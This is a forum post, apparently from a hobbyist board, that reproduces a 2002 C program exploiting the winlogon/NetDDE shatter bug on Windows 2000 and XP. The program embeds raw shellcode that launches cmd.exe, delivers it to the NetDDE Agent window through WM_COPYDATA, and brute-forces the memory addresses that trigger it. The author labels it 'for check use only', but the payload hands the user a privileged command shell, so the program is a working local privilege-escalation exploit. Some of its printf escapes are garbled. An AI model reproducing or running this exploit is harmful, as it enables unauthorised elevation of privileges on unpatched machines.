qell code
..hier für die Bastler:
//
/////////// Copyright ? 2002 Serus ////////////////
//mailto:serus@users.mns.ru
//
//This program check system on winlogon bug present
//Only for Windows 2000 and Windows XP
//This is for check use only!
//
#include <windows.h>
#include <stdio.h>
void main(int argc, char *argv[ ], char *envp[ ] )
{
char *buf;
DWORD Addr = 0;
BOOL bExec = TRUE;
unsigned char sc[] = { // my simple shellcode, it calls CreateProcess function,
// executes cmd.exe on user`s desktop and creates mutex.
0x8B, 0xF4,
0x68, 0x53, 0x45, 0x52, 0x00,
0x8B, 0xDC, 0x54, 0x6A, 0x00, 0x6A, 0x00,
0xB8, 0xC8, 0xD7, 0xE8, 0x77, 0xFF, 0xD0, 0x8B, 0xE6,
0x6A, 0x00, 0x68, 0x2E, 0x65, 0x78, 0x65, 0x68, 0x00,
0x63, 0x6D, 0x64, 0x68, 0x61, 0x75, 0x6C, 0x74, 0x68, 0x5C, 0x44,
0x65, 0x66, 0x68, 0x53, 0x74, 0x61, 0x30, 0x68, 0x00, 0x57, 0x69,
0x6E, 0x8B, 0xD4, 0x42, 0xB9, 0x50, 0x00, 0x00, 0x00, 0x6A, 0x00,
0xE2, 0xFC, 0x6A, 0x44, 0x83, 0xC4, 0x0C, 0x52, 0x83, 0xEC, 0x0C,
0x8B, 0xC4, 0x83, 0xC0, 0x10, 0x50, 0x8B, 0xC4, 0x83, 0xC0, 0x08,
0x50, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00,
0x6A, 0x00, 0x83, 0xC2, 0x10, 0x52, 0x6A,
0x00, 0xB8, 0x4D, 0xA4,
0xE9, 0x77, 0xFF, 0xD0, 0x8B, 0xE6, 0xC3
};
HWND hWnd;
COPYDATASTRUCT cds;
OSVERSIONINFO osvi;
HMODULE hMod;
DWORD ProcAddr;
HANDLE hMutex;
char mutname[4];
char aaa[200];
int n,m;
HWND h=1111;
printf("nn==== GetAd by Serus (serus@users.mns.ru) ====");
// Get NetDDE Window
hWnd = FindWindow("NDDEAgnt","NetDDE Agent");
if(hWnd == NULL)
{
MessageBox(NULL, "Couldn't find NetDDE agent window", "Error", MB_OK | MB_ICONSTOP);
return;
}
// Get CreateProcessA and CreateMutexA entry addresses
hMod = GetModuleHandle("kernel32.dll");
ProcAddr = (DWORD)GetProcAddress(hMod, "CreateProcessA");
if(ProcAddr == 0)
{
MessageBox(NULL, "Couldn't get CreateProcessA address", "Error", MB_OK | MB_ICONSTOP);
return;
}
*(DWORD *)(sc + 86 + 21) = ProcAddr;
ProcAddr = (DWORD)GetProcAddress(hMod, "CreateMutexA");
if(ProcAddr == 0)
{
MessageBox(NULL, "Couldn't get CreateMutexA address", "Error", MB_OK | MB_ICONSTOP);
return;
}
*(DWORD *)(sc + 15) = ProcAddr;
//Generate random Mutex name
srand(GetTickCount());
do
{
mutname[0] = 97 + rand()%25;
mutname[1] = 65 + rand()%25;
mutname[2] = 65 + rand()%25;
mutname[3] = 0;
}
while((hMutex = OpenMutex(MUTEX_ALL_ACCESS, 0, mutname)) != 0);
memcpy(sc + 3, mutname, 4);
//Form buffer for SendMessage
buf = (char *)malloc(1000);
memset(buf, 0xC3, 1000);
memcpy(buf, sc, sizeof(sc));
cds.cbData = 1000;
cds.dwData = 0;
cds.lpData=(PVOID)buf;
//Get OS version
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
if(GetVersionEx(&osvi) == 0)
{
printf("nWarning! Couldn't get OS verson. Trying as Win2k.n");
osvi.dwMajorVersion = 5;
}
if(osvi.dwMajorVersion != 5)
{
MessageBox(NULL, "This program for Win2k and WinXP only!", "Error", MB_OK | MB_ICONSTOP);
return;
}
if(osvi.dwMinorVersion == 0)
{
// Windows 2000
printf("nnUse Windows 2000 offsets");
//If first login
//Send shellcode buffer
SendMessage(hWnd, WM_COPYDATA, (WPARAM)hWnd, (LPARAM)&cds);
//Try execute it at 0x0080FA78
PostMessage(hWnd, WM_TIMER, 0, (LPARAM)0x0080FA78);
printf("nTrying at 0x%X", 0x0080FA78);
//If fails (perhaps not first login)
//Try to bruteforce shellcode addresss
for(Addr = 0x0120fa78; Addr < 0x10000000; Addr += 0x10000)
{
//If mutex exists, shellcode has been executed
if((hMutex = OpenMutex(MUTEX_ALL_ACCESS, 0, mutname)) != 0)
{
//Success
printf("nSuccess!!!n");
printf("nWarning! You system has vulnerability!n");
CloseHandle(hMutex);
return;
}
printf("rTrying at 0x%X", Addr);
SendMessage(hWnd, WM_COPYDATA, (WPARAM)hWnd, (LPARAM)&cds);
PostMessage(hWnd, WM_QUIT, 1, (LPARAM)Addr);
}
}
else
{
// Windows XP
printf("nnUse Windows XP offsetsn");
//Try to bruteforce shellcode addresss
for(m = 100; m <= 0xffff; m++)
{
for(Addr = 0x00A0FA74; Addr < 0x01000000; Addr += 0x10000)
{
//If mutex exists, shellcode has been executed
if((hMutex = OpenMutex(MUTEX_ALL_ACCESS, 0, mutname)) != 0)
{
//Success
printf("nSuccess!!!n");
printf("nWarning! You system has vulnerability!n");
CloseHandle(hMutex);
return;
}
printf("rTrying at 0x%X Message = 0x%X", Addr, m);
SendMessage(hWnd, WM_COPYDATA, (WPARAM)hWnd, (LPARAM)&cds);
PostMessage(hWnd, m, (LPARAM)Addr, (LPARAM)Addr);
}
}
}
//Bug in winlogon not presents
printf("nnBad luck! Try after first logon.nn");
}